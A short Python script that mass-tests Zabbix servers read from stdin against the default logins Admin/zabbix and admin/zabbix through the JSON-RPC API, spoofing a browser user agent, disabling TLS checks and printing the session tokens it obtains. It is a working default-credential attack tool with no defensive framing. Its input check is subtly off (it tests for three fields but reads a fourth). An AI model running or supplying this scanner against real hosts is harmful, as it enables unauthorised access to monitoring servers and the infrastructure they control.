import asyncio
import json
import sys

import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0"}
CREDS = [("Admin", "zabbix"), ("admin", "zabbix")]


async def try_login(sess, sem, ip, port, path, user, pwd):
    scheme = "https" if port == "443" else "http"
    url = "%s://%s:%s%sapi_jsonrpc.php" % (scheme, ip, port, path)
    body = {"jsonrpc": "2.0", "method": "user.login",
            "params": {"username": user, "password": pwd}, "id": 1}
    try:
        async with sem:
            async with sess.post(url, json=body, ssl=False) as r:
                if r.status != 200:
                    return None
                j = json.loads(await r.content.read(2000))
                if "result" in j and isinstance(j["result"], str):
                    return "%s:%s%s %s/%s OK token=%s" % (ip, port, path, user, pwd, j["result"][:10])
                return None
    except Exception:
        return None


async def main():
    rows = []
    for line in sys.stdin:
        f = line.rstrip("\n").split("\t")
        if len(f) >= 3 and f[3] not in ("?", "-"):
            rows.append((f[0], f[1], f[2]))
    sem = asyncio.Semaphore(8)
    to = aiohttp.ClientTimeout(total=12, connect=5, sock_read=10)
    found = []
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        for user, pwd in CREDS:
            res = await asyncio.gather(*[try_login(s, sem, *r, user, pwd) for r in rows])
            found += [x for x in res if x]
            if found:
                break
    print("checked=%d creds_ok=%d" % (len(rows), len(found)))
    for x in found:
        print(" ", x)


asyncio.run(main())
